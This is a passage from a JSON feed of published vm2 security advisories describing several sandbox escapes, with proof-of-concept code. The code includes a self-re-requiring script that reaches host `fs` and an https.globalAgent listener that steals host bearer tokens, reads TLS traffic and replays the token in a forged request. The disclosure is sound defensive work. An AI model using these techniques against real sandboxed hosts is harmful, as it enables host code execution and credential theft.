`instantiateStreaming`, but not through `compile` or `instantiate` in my tests. The minimal patch therefore removes the two confirmed exploitable streaming APIs, while the broader invariant remains that sandbox code should not receive raw host-Promise paths.\n\n## Regression tests\n\nThe regression test should cover both the direct fix and the end-to-end invariant:\n\n1. `WebAssembly.compileStreaming` is unavailable or safely wrapped inside `new VM()`.\n2. `WebAssembly.instantiateStreaming` is unavailable or safely wrapped inside `new VM()`.\n3. The PoC cannot recover host `process` on Node 26.\n4. Direct access to `process`, `require`, and constructor-based process access remains blocked.\n5. The `finally` + species primitive does not reach host `process` through any WebAssembly Promise-returning source.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-05T22:34:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-wjwh-qqvp-g4p4","https://nvd.nist.gov/vuln/detail/CVE-2026-92956","https://github.com/patriksimek/vm2/commit/cb85599e4470afa308e7c807b5c6b3ec9bf58b18","https://github.com/patriksimek/vm2/blob/415339f698f0d52d3c5ad358b12b79c8072d5b4b/lib/setup-sandbox.js#L510-L523","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-3.10.1-through-3.11.6-sandbox-escape-via-webassembly-compilestreaming","https://github.com/advisories/GHSA-wjwh-qqvp-g4p4"],"source_kind":"github","identifiers":["GHSA-wjwh-qqvp-g4p4","CVE-2026-92956"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.751Z","epss_percentage":0.00587,"epss_percentile":0.46518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13andoLXFxdnAtZzRwNM4AB7p4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13andoLXFxdnAtZzRwNM4AB7p4","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003e= 3.10.1, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13andoLXFxdnAtZzRwNM4AB7p4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qZjhxLTk0NWctOXE0Y84AB7Wp","url":"https://github.com/advisories/GHSA-jf8q-945g-9q4c","title":"vm2: Incomplete nodejs.* symbol filtering lets sandbox override host WebStream state checks","description":"## Summary\n\nvm2 current head (`v3.11.5`, commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`) still exposes registered Node.js internal symbols from host WebStream prototypes to sandbox code.\n\nThe prior `nodejs.*` symbol hardening blocks `Symbol.for('nodejs.\u003cname\u003e')` at the source, but the extraction filters and bridge write traps still enumerate a fixed set of known registered symbols. On Node.js `v25.8.0`, `stream/web` exposes two additional registered symbols:\n\n- `nodejs.stream.disturbed`\n- `nodejs.stream.errored`\n\nSandbox code can extract those real host symbols with `Object.getOwnPropertySymbols(streamWeb.ReadableStream.prototype)` and then use them as write keys on host objects. On a real host `ReadableStream`, an attacker can make `stream.Readable.isDisturbed(stream)` return `false` after the stream has already been read.\n\n## Technical Details\n\n`lib/setup-sandbox.js` correctly blocks future `nodejs.*` keys at the `Symbol.for()` source:\n\n```js\nif (apply(localStringStartsWith, keyStr, ['nodejs.'])) {\n  ...\n  return fresh;\n}\n```\n\nHowever, the extraction filters are still driven by a fixed `realDangerousSymbols` list. That list does not include `nodejs.stream.disturbed` or `nodejs.stream.errored`, so `Object.getOwnPropertySymbols()` and related paths can still return those real host symbols.\n\n`lib/bridge.js` has the same fixed-list problem in `isDangerousCrossRealmSymbol()` and in the host-result scrub list. Because the two new symbols are not recognized, the `set` and `defineProperty` traps allow sandbox-originated writes using those keys.\n\nCurrent-head source references:\n\n- `lib/setup-sandbox.js:180-196` denies `Symbol.for('nodejs.*')` by namespace.\n- `lib/setup-sandbox.js:214-230` uses a fixed `realDangerousSymbols` list for extraction filtering; the two reported symbols are absent.\n- `lib/bridge.js:187-199` uses a fixed `isDangerousCrossRealmSymbol()` list; the two reported symbols are absent.\n- `lib/bridge.js:1499-1509` treats the write trap as the last line of defense, but it only rejects keys recognized by that fixed list.\n\n## Impact\n\nSandbox code can corrupt host-visible WebStream state checks for host WebStream objects that cross into the sandbox. In the validated PoV, a stream that the host has already consumed is made to appear undisturbed to `stream.Readable.isDisturbed()`.\n\nThis can bypass host logic that relies on Node's public stream-state helpers to enforce one-shot body consumption, reject errored streams, or decide whether a host WebStream is safe to hand to another component.\n\nThis is not a host-code-execution primitive in the current PoV. The report is an incomplete-fix / guard-coverage gap in the same symbol-boundary family as the prior `nodejs.*` symbol advisory.\n\n## Affected Package/Versions\n\nConfirmed affected on Node.js `v25.8.0`:\n\n- `v3.11.4`\n- `v3.11.5`\n- current head `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`\n\n`v3.11.3` is also affected, but it predates the broader `nodejs.*` symbol fix. For this incomplete-fix report, the suggested affected range is `\u003e= 3.11.4, \u003c= 3.11.5` on Node.js versions where these stream symbols exist.\n\nNo patched version is known.\n\n## Configuration Required\n\nThe PoV uses a `VM` where the embedder exposes a host WebStream object and the host `stream/web` module object to sandbox code:\n\n```js\nconst vm = new VM({ sandbox: { rs, streamWeb } });\n```\n\nThis matches the same trust boundary as the earlier cross-realm symbol-write class: sandbox code must not be able to obtain registered Node.js internal symbols and write them back onto host objects.\n\nThe PoV is local-only. It does not require network access, a public target, `NodeVM` builtin access, `process`, filesystem access, or child-process access.\n\n## Local Proof of Concept\n\nRun from the `oss-zero-day-harness` directory:\n\n```sh\nnode submission-bundle/vm2-pov-test-incomplete-nodejs-stream-symbol-filter/pov-nodejs-stream-symbol-incomplete-fix.js\n```\n\nThe PoV:\n\n1. The host creates a `ReadableStream`.\n2. The host reads one chunk so `stream.Readable.isDisturbed(rs)` is `true`.\n3. Sandbox code confirms `Symbol.for('nodejs.stream.disturbed')` is blocked and returns a sandbox-local symbol.\n4. Sandbox code extracts the real registered `nodejs.stream.disturbed` / `nodejs.stream.errored` symbols from the host `ReadableStream.prototype`.\n5. Sandbox code writes an own `nodejs.stream.disturbed` property onto the host stream with value `false`.\n6. The host calls `stream.Readable.isDisturbed(rs)` again and receives `false`.\n\nObserved result on current head:\n\n```json\n{\n  \"beforeHostDisturbed\": true,\n  \"controls\": {\n    \"symbolForDisturbedIsRegistered\": false,\n    \"symbolForErroredIsRegistered\": false\n  },\n  \"extracted\": [\n    {\n      \"description\": \"nodejs.stream.disturbed\",\n      \"keyFor\": \"nodejs.stream.disturbed\"\n    },\n    {\n      \"description\": \"nodejs.stream.errored\",\n      \"keyFor\": \"nodejs.stream.errored\"\n    }\n  ],\n  \"overrideDisturbedOk\": true,\n  \"afterHostDisturbed\": false\n}\n```\n\n## Official Disclosure Policy Fit\n\nvm2's `SECURITY.md` asks reporters not to create a public issue and to submit It asks for reproduction steps, affected versions, environment/configuration details, and potential impact:\n\n- Policy: https://github.com/patriksimek/vm2/blob/main/SECURITY.md\n- Private report route: https://github.com/patriksimek/vm2/security/advisories/new\n\nThis bundle is formatted for that private GitHub report flow and should not be posted publicly before maintainer triage and a fixed release.\n\n## Suggested Fix Direction\n\nMake the dangerous-symbol checks namespace-based instead of list-based:\n\n- In `setup-sandbox.js`, make `isDangerousSymbol(sym)` return true for any registered symbol whose `Symbol.keyFor(sym)` starts with `nodejs.`.\n- In `bridge.js`, make `isDangerousCrossRealmSymbol(key)` do the same for any symbol key crossing the bridge.\n- In host-result scrubbing, delete all own symbol keys whose registered key starts with `nodejs.` instead of iterating a hard-coded list.\n- Keep the current explicit list only as regression documentation, not as the complete security boundary.\n\nRegression tests should include:\n\n- `Object.getOwnPropertySymbols(ReadableStream.prototype)` must not expose `nodejs.stream.disturbed` or `nodejs.stream.errored`.\n- A sandbox-local `Symbol.for('nodejs.stream.disturbed')` write must not affect host `stream.Readable.isDisturbed()`.\n- Even if the real symbol is passed into the sandbox by a host test harness, `set`, `defineProperty`, and `deleteProperty` traps must reject writes and deletes against host objects.\n\n## Why This Is Not Intended Behavior\n\nThe hardening comments and tests establish the intended invariant:\n\n- any `nodejs.*` internal symbol should be sandbox-local when requested through `Symbol.for()`;\n- dangerous registered symbols should not be enumerable/extractable from host objects;\n- even if a sandbox obtains one, bridge write traps should reject writes using that key.\n\nThis report shows that the source-side rule is active, but the extraction and write-trap rules are incomplete for newer registered `nodejs.stream.*` symbols.\n\nNode's stream state helpers consult these symbols directly. For example, `stream.Readable.isDisturbed()` reads the internal disturbed symbol before falling back to public state. After sandbox writes an own property under the extracted symbol, the host helper returns attacker-controlled state.\n\nNode's public documentation describes `stream.isErrored(stream)` as reporting whether a stream has encountered an error, and `stream.Readable.isDisturbed(stream)` as reporting whether the stream has been read from or cancelled:\n\n- https://nodejs.org/api/stream.html#streamiserroredstream\n- https://nodejs.org/api/stream.html#streamreadableisdisturbedstream","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-01T15:42:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-jf8q-945g-9q4c","https://nvd.nist.gov/vuln/detail/CVE-2026-92952","https://github.com/patriksimek/vm2/commit/a45444d5abbdfa59055528f584df5f21cc7c42da","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-3.11.4-through-3.11.6-sandbox-symbol-filtering-bypass","https://github.com/advisories/GHSA-jf8q-945g-9q4c"],"source_kind":"github","identifiers":["GHSA-jf8q-945g-9q4c","CVE-2026-92952"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-18T11:01:17.587Z","epss_percentage":0.00461,"epss_percentile":0.38504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZjhxLTk0NWctOXE0Y84AB7Wp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qZjhxLTk0NWctOXE0Y84AB7Wp","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003e= 3.11.4, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZjhxLTk0NWctOXE0Y84AB7Wp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xaHd4LTc0dzUteGh4cc4AB7Wo","url":"https://github.com/advisories/GHSA-qhwx-74w5-xhxq","title":"vm2: NodeVM builtin allowlist bypass via node:test.run() execArgv allows sandbox escape","description":"## Summary\n\nOn Node.js 24 and newer, `vm2` can expose the host `node:test` module to sandboxed `NodeVM` code when the embedder explicitly allows the `node:test` builtin. Sandbox code can reach that module through `require('node:node:test')` and call `run()` with attacker-controlled `execArgv`.\n\n`node:test.run()` starts a separate Node process for process-isolated test execution and forwards the supplied `execArgv` values to that process. Supplying `--eval=\u003cJavaScript\u003e` therefore executes arbitrary JavaScript in an unrestricted host Node process, outside the `NodeVM` sandbox.\n\nThe PoC confirms that direct sandbox imports of `fs`, `child_process`, `module`, and `process` remain denied before the spawned process imports host `fs` and writes a harmless marker.\n\n## Affected versions and environment\n\n- Package: `vm2`\n- Affected versions: `\u003e=3.9.6, \u003c=3.11.5`\n- Latest reproduced version: `3.11.5`\n- Reproduced runtime: Node.js `v24.18.0`\n- Exact path is not present on Node.js 22 because `module.builtinModules` does not expose the scheme-only `node:test` entry there\n- Configuration prerequisite:\n\n```js\nrequire: {\n  builtin: ['node:test'],\n  external: false\n}\n```\n\nThe lower version boundary was tested directly: `vm2@3.9.5` blocks `require('node:node:test')`, while `vm2@3.9.6` permits the exploit path. Representative releases through `3.11.5` were also reproduced.\n\n## Root cause\n\nThe issue is a combination of builtin admission, generic host passthrough, and prefix normalization:\n\n1. On Node.js 24+, `module.builtinModules` includes the scheme-only key `node:test`.\n2. `lib/builtin.js` builds `BUILTIN_MODULES` from that array. The family-based `DANGEROUS_BUILTINS` protection does not include `test`, so `node:test` remains eligible.\n3. When the embedder explicitly allows `node:test`, `addDefaultBuiltin()` stores it through the generic loader:\n\n```js\nbuiltins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n```\n\n4. In `lib/setup-node-sandbox.js`, `requireImpl()` strips one `node:` prefix before builtin lookup:\n\n```js\nif (localStringPrototypeStartsWith(filename, 'node:')) {\n  id = localStringPrototypeSlice(filename, 5);\n  nmod = loadBuiltinModule(id);\n}\n```\n\n5. Consequently, sandbox code requesting `node:node:test` is normalized to the stored key `node:test` and receives a readonly proxy to the host module.\n6. The readonly proxy does not make `node:test.run()` safe. Calls are forwarded to the host implementation, which accepts attacker-controlled `execArgv` for a newly spawned Node process.\n7. `--eval=\u003cattacker JavaScript\u003e` runs outside vm2 and has normal host builtin access.\n\nThe doubled prefix is the reachability mechanism, but the security boundary failure is broader: the generic host-passthrough loader treats the `test` builtin family as safe even though its `run()` API can launch unrestricted Node processes.\n\n## Proof of concept\n\nFrom the `poc` directory:\n\n```bash\nnpm ci --ignore-scripts --no-audit --no-fund\nnode repro.js\n```\n\nExpected successful result on Node.js 24+ includes:\n\n```json\n{\n  \"vm2Version\": \"3.11.5\",\n  \"nodeVersion\": \"v24.18.0\",\n  \"markerExists\": true,\n  \"childIsDistinctProcess\": true,\n  \"marker\": {\n    \"hostCodeExecution\": true\n  }\n}\n```\n\nThe PoC writes only `host-rce-marker.json` in its own directory and does not invoke a shell, contact a network service, or access third-party data.\n\n## Impact\n\nAn attacker who is intentionally permitted to execute untrusted JavaScript in the affected `NodeVM` configuration can escape the sandbox and execute arbitrary JavaScript under the embedder's operating-system identity.\n\nThis provides the spawned process with the host user's filesystem, environment, network, and process-execution permissions. It can therefore result in complete confidentiality, integrity, and availability impact for the hosting service.\n\n## Suggested remediation\n\nTreat the normalized `test` builtin family as dangerous before wildcard expansion and explicit builtin registration.\n\nFor example, add `test` to `DANGEROUS_BUILTINS` so the existing prefix and family checks reject both `node:test` and `node:test/reporters`:\n\n```js\nconst DANGEROUS_BUILTINS = new Set([\n  // existing entries\n  'test'\n]);\n```\n\nIf test helpers must be exposed, provide a sandbox-local wrapper through `mock` or `override` that does not expose `run()`, process isolation, `execArgv`, or other host process controls.\n\nRecommended regression cases:\n\n- explicit `builtin: ['node:test']`\n- wildcard builtin configurations\n- `require('node:test')`\n- `require('node:node:test')`\n- `node:test/reporters` and prefixed variants\n- direct low-level builtin registration\n- attempts to pass `--eval`, `--require`, or `--import` through test-runner process options\n[vm2-node-test-ghsa-submission.zip](https://github.com/user-attachments/files/29930119/vm2-node-test-ghsa-submission.zip)","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-01T15:41:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-qhwx-74w5-xhxq","https://nvd.nist.gov/vuln/detail/CVE-2026-92948","https://github.com/patriksimek/vm2/commit/415339f698f0d52d3c5ad358b12b79c8072d5b4b","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-3.9.6-through-3.11.5-sandbox-escape-via-node-test","https://github.com/advisories/GHSA-qhwx-74w5-xhxq"],"source_kind":"github","identifiers":["GHSA-qhwx-74w5-xhxq","CVE-2026-92948"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.508Z","epss_percentage":0.00654,"epss_percentile":0.49517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xaHd4LTc0dzUteGh4cc4AB7Wo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xaHd4LTc0dzUteGh4cc4AB7Wo","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003e= 3.9.6, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xaHd4LTc0dzUteGh4cc4AB7Wo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qeHh2LThyMjctdm00cM4AB7Wn","url":"https://github.com/advisories/GHSA-jxxv-8r27-vm4p","title":"vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts","description":"### Summary\nThe `vm2` command-line tool installed by `npm install -g vm2` and documented in the README's \"CLI\" section runs the supplied script under `NodeVM` with `require:{external:true}` and no `root` / `context` / `builtin` configured. With these defaults the resolver loads every relative or absolute `require()` target through the **host** `require()` function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to `vm2 ./script.js` can call `require(__filename)` to re-execute itself in host realm and reach `fs`, `child_process`, etc. The documented sandbox runner is therefore equivalent to `node ./script.js`. No additional files, flags, or user interaction are required.\n\n### Details\nThe vulnerability lets a **malicious sandboxed script** - the file argument to the documented `vm2 \u003cfile\u003e` CLI - execute arbitrary code in the **host Node.js process**, crossing the sandbox → host boundary that vm2 is meant to enforce.\n\n#### Vulnerable code path\n\n1. **Source** - `bin/vm2:3` → `lib/cli.js:7-18`. `process.argv[2]` is the\n   attacker-authored script path. The CLI invokes:\n   ```js\n   NodeVM.file(path, { verbose: true, require: { external: true } });\n   ```\n   Without `require.root`, `require.context`, nor `require.builtin`.\n2. **Hop** - `lib/nodevm.js:618-636`. `NodeVM.file` reads the file and calls\n   `new NodeVM(options).run(body, resolvedFilename)`.\n3. **Hop** - `lib/nodevm.js:335` → `lib/resolver-compat.js:205-266`\n   (`makeResolverFromLegacyOptions`). Destructures `external:true`,\n   `rootPaths=undefined`, `hostRequire=defaultRequire` (line 218),\n   `context='host'` (default, line 219). Because `typeof externalOpt !== 'object'`\n   (line 265) it returns a `CustomResolver` with `checkedRootPaths=undefined` and\n   `pathContext = () =\u003e 'host'` (line 263).\n4. **Hop** - `lib/setup-node-sandbox.js:86-123` (`requireImpl`). Sandbox\n   `require(id)` resolves via `resolver.resolve(...)` (`lib/nodevm.js:380-383`).\n   `lib/resolver.js:244-275` handles absolute/relative specifiers; `tryFile` at\n   `lib/resolver.js:327-329` gates on `this.isPathAllowed(x)`.\n5. **Barrier (gap)** - `lib/resolver-compat.js:53-54`:\n   ```js\n   isPathAllowed(filename) {\n       if (this.rootPaths === undefined) return true;\n   ```\n   With no `root` configured, **every** filesystem path is allowed. `checkAccess`\n   (`lib/resolver.js:39-42`) delegates to the same method.\n6. **Sink** - `lib/resolver-compat.js:74-77`:\n   ```js\n   loadJS(vm, mod, filename) {\n       if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...);\n       const m = this.hostRequire(filename);   // ← host-realm require()\n       mod.exports = vm.readonly(m);\n   }\n   ```\n   `hostRequire` is `defaultRequire` (`lib/resolver-compat.js:20-23`) - the real\n   host `require()`. The required module's **top-level body executes in the host\n   realm** before `vm.readonly()` wraps the exports; wrapping happens too late to\n   constrain side-effects. `loadNode` (`lib/resolver-compat.js:80-83`) is\n   identical for `.node` native addons (`process.dlopen` in host).\n\n### PoC\nSave the following as `/tmp/poc.js`:\n\n```js\n'use strict';\ntry {\n    // Host realm: fs is available - write sentinel and stop.\n    const fs = require('fs');\n    fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\\n');\n    console.log('HOST realm: wrote /tmp/vm2.proof');\n} catch (e) {\n    // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -\n    // the CLI resolver loads it via host require() (resolver-compat.js:76).\n    console.log('sandbox realm: fs blocked (' + e.message + '); escaping');\n    require(__filename);\n}\n```\n\nRun via the shipped CLI exactly as the README documents:\n\n```sh\nnode ./bin/vm2 /tmp/poc.js        # or `vm2 /tmp/poc.js` after `npm i -g vm2`\n```\n\nObserved output:\n\n```\nsandbox realm: fs blocked (Cannot find module 'fs'); escaping\nHOST realm: wrote /tmp/vm2.proof\n```\n\n`/tmp/vm2.proof` exists, written by `fs.writeFileSync` from a script whose\ndirect `require('fs')` was blocked by the sandbox. The first line proves the\nboundary exists; the second proves it was crossed.\n\n\n### Impact\nA user who follows the README's CLI section and runs `vm2 ./untrusted.js` on an\nattacker-supplied file gets **arbitrary code execution as that user** - the\nsandbox provides no isolation in this configuration. The blast radius is the\nfull host Node.js process: `fs`, `child_process`, `process.dlopen`, network,\nenvironment.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-01T15:40:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p","https://nvd.nist.gov/vuln/detail/CVE-2026-92950","https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require","https://github.com/advisories/GHSA-jxxv-8r27-vm4p"],"source_kind":"github","identifiers":["GHSA-jxxv-8r27-vm4p","CVE-2026-92950"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.509Z","epss_percentage":0.00197,"epss_percentile":0.08514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qeHh2LThyMjctdm00cM4AB7Wn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qeHh2LThyMjctdm00cM4AB7Wn","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qeHh2LThyMjctdm00cM4AB7Wn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oODVqLWh2M2MtcWZncc4AB7Wm","url":"https://github.com/advisories/GHSA-h85j-hv3c-qfgq","title":"vm2 exposes host HTTPS credentials and TLS traffic through globalAgent","description":"Summary\n\nvm2 3.11.6 exposes the host process's real `https.globalAgent` when a `NodeVM` is explicitly allowed to require `https`. The module is wrapped as read-only, but calls to methods on the shared agent still mutate the host object. Sandbox code can register a `free` listener and receive host request options and the host TLS socket whenever an unrelated host HTTPS request releases a pooled connection.\n\nIn a contained test, sandbox code allowed only the `https` builtin:\n\n- read the host request's bearer token from the agent event;\n- attached a data listener to the released host TLS socket and read the next host response body in plaintext;\n- learned the private service host and port;\n- sent an attacker-chosen authenticated POST using the stolen host token; and\n- received confirmation that the service accepted the action.\n\nThe host application never passed its credentials, request, response, socket, or destination into the sandbox. They crossed the boundary solely because vm2 exposes the process-global HTTPS agent instead of a sandbox-local network module instance.\n\n### Details\n\nThe vulnerable boundary is the default builtin loader in `lib/builtin.js`:\n\n```js\nbuiltins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n```\n\nThe wrapper recursively exposes properties of the actual host module. For ordinary constants, a read-only proxy can be sufficient. It is not sufficient for process-global EventEmitter objects whose methods mutate internal state.\n\n`https.globalAgent` is the default agent used by host HTTPS requests when the host does not supply a separate `agent`. The agent is shared by the entire Node.js thread. Its `free` event supplies both:\n\n- the `TLSSocket` that has just completed a request and is available for reuse; and\n- the connection/request options used to place that socket in the pool.\n\nThe following sandbox code registers directly on that host singleton:\n\n```js\nconst https = require('https');\n\nhttps.globalAgent.on('free', (socket, options) =\u003e {\n  const token = options.headers.Authorization;\n  const destination = {host: options.host, port: options.port};\n\n  socket.on('data', chunk =\u003e {\n    capturedHostTraffic += chunk.toString('utf8');\n  });\n\n  const req = https.request({\n    hostname: destination.host,\n    port: destination.port,\n    path: '/sandbox-action',\n    method: 'POST',\n    headers: {Authorization: token},\n    agent: false,\n  });\n  req.end(attackerChosenBody);\n});\n```\n\nCalling `.on()` is not a property assignment, so the read-only handler forwards it to the real host Agent. When the host later emits `free`, vm2 invokes the sandbox callback with bridged views of the live options and socket. Reading nested header values succeeds. Calling `socket.on()` also forwards to the real socket, letting the sandbox observe the decrypted bytes emitted during a later request on that connection.\n\nThe complete exploit flow is:\n\n```text\nattacker-controlled NodeVM program with https allowed\n  -\u003e subscribe to the real host https.globalAgent\n  -\u003e unrelated host HTTPS request completes\n  -\u003e shared Agent emits live socket and request options into sandbox callback\n  -\u003e sandbox reads host Authorization token and private destination\n  -\u003e sandbox attaches to the released TLSSocket\n  -\u003e next host response is exposed in plaintext\n  -\u003e sandbox reuses stolen token for attacker-chosen authenticated request\n```\n\nThis is a distinct residual of the same process-wide observability class for which other host builtins are rejected. The current dangerous-builtin filter does not classify `https` as process-global because the module also has legitimate sandbox network APIs. A safe implementation must avoid exposing the host singleton, such as by providing a sandbox-local module facade and sandbox-local Agent.\n\n### PoC\n\nThe attached PoC uses only a temporary certificate and a loopback HTTPS server.\n\n1. Install Node.js and OpenSSL.\n2. In the attached `poc` directory, run:\n\n   ```bash\n   npm install --ignore-scripts\n   node poc.js\n   ```\n\n3. A vulnerable result includes all of the following markers:\n\n   - leaked host token: `Bearer VM2_HOST_AUTHORIZATION_f7952a`;\n   - captured host response: `VM2_PRIVATE_HOST_RESPONSE_47b2d6`;\n   - attacker-chosen authenticated action: `VM2_SANDBOX_ACTION_8d14c3`;\n   - server decision: `ACTION_ACCEPTED`.\n\nThe first host request carries the token. After it completes, the sandbox callback receives the token and independently sends the action request. The second host request reuses the pooled TLS connection; the sandbox's listener reads that response from the live socket. The PoC fails unless both confidentiality and integrity effects occur.\n\n### Impact\n\nThis is cross-boundary exposure and misuse of a process-global authenticated network resource.\n\nAn attacker who can submit code to a `NodeVM` with `https` allowed can, when the host uses the default HTTPS agent:\n\n- steal Authorization, Cookie, API-key, proxy-authorization, and other sensitive request options;\n- discover private service hostnames and ports used only by host code;\n- read plaintext response headers and bodies on reused TLS connections;\n- steal client-certificate, private-key, passphrase, CA, or session-related options when the host supplies them through request options;\n- perform authenticated actions using stolen bearer credentials;\n- write to or destroy live host sockets, disrupting or corrupting unrelated traffic;\n- cross tenant boundaries when multiple sandboxes and host workloads share one process.\n\nThe sandbox already has the intentional ability to make its own HTTPS requests. It does not intentionally have authority to observe or reuse the host application's credentials and connections. A host that always supplies a separate private Agent for every sensitive request avoids this specific singleton, but that is not the default behavior.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-01T15:38:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-h85j-hv3c-qfgq","https://nvd.nist.gov/vuln/detail/CVE-2026-92940","https://github.com/patriksimek/vm2/commit/aa146a77f859325e079f3bfbfe6d8309af483daa","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-3.11.3-through-3.11.6-https-credential-exposure-via-globalagent","https://github.com/advisories/GHSA-h85j-hv3c-qfgq"],"source_kind":"github","identifiers":["GHSA-h85j-hv3c-qfgq","CVE-2026-92940"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-16T06:00:41.253Z","epss_percentage":0.00474,"epss_percentile":0.39507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oODVqLWh2M2MtcWZncc4AB7Wm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oODVqLWh2M2MtcWZncc4AB7Wm","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003e= 3.11.3, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oODVqLWh2M2MtcWZncc4AB7Wm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNDhtLTMybTktdng5M84AB7Wl","url":"https://github.com/advisories/GHSA-c48m-32m9-vx93","title":"vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package","description":"### Summary\n\nvm2 is a sandbox library for isolating and executing untrusted JavaScript code inside a Node.js process. It can restrict access to built-in modules and external packages.\n\nWhen `NodeVM` enables an `external` allowlist together with a custom `resolve` callback, vm2 checks the requested package name with a non-exact match. For example, if the allowlist only permits `left-pad`, an attacker can still bypass the check with a colliding package name such as `evil-left-pad`, because it contains the allowlisted name.\n\nIf the colliding package already exists in a host path resolvable by the custom resolver, or if the target application's custom resolver / dependency-management workflow downloads the package and places it in a resolvable path, vm2 loads and executes that package in the host context. This lets sandboxed code bypass the module allowlist and may further lead to host code execution.\n\n### Details\n\n`NodeVM` supports `require.external` to configure which external npm packages sandboxed code may load. It also supports a custom resolver through `require.resolve`. This combination is commonly used in business plugin systems, user-script platforms, or sandbox execution environments: the application allows only a small set of trusted dependencies while using a custom resolver that points to the application's own package directory.\n\nThe vulnerability is in the allowlist pre-check logic before the custom resolver is called. vm2 generates a regular expression from the `external` allowlist and uses 